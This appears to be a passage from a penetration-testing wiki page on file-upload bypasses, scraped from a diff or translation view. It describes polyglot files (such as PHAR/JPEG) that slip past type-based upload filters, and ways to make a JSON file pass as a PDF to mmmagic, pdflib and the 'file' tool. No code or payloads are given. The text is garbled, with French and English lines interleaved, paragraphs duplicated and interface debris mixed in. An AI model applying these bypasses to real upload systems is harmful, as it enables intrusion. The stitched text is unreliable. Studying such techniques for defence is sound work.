L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner des mesures de sécurité qui filtrent les fichiers selon leur type. Dans de nombreuses applications, la pratique courante consiste à n'autoriser que certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin d'atténuer le risque posé par des formats potentiellement dangereux (par ex. JS, PHP ou Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut furtivement contourner ces restrictions.
|
||||
|
||||
Néanmoins, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre des politiques d'extensions de fichiers de la plateforme. Si le système est strict sur les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.
|
||||
Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, alors qu'un polyglotte peut incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, le succès de son upload peut dépendre de la politique d'extensions du site. Si le système est strict sur les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.
|
||||
|
||||
Plus d'informations : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Télécharger des JSON valides comme s'il s'agissait d'un PDF
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé, en le faisant passer pour un fichier PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
|
||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c'est valide (voir exemple dans l'article)
|
||||
- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON afin que la librairie pense que c'est un PDF (voir exemple dans l'article)
|
||||
- **`file` binary** : Il peut lire jusqu'à 1048576 bytes d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas analyser le contenu comme un json, puis d'insérer à l'intérieur du JSON la partie initiale d'un vrai PDF et il considérera que c'est un PDF
|
||||
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c’est considéré comme valide (voir l'exemple dans l'article)
|
||||
- **`pdflib` library** : Ajouter un faux format PDF à l’intérieur d’un field du JSON pour que la bibliothèque pense que c’est un PDF (voir l'exemple dans l'article)
|
||||
- **`file` binary** : Il peut lire jusqu'à 1048576 bytes d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas parser le contenu comme du JSON, puis à l'intérieur du JSON placer la partie initiale d'un vrai PDF et il pensera que c'est un PDF
|
||||
|
||||
## Références
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
|
Loading…
x
Reference in New Issue
Block a user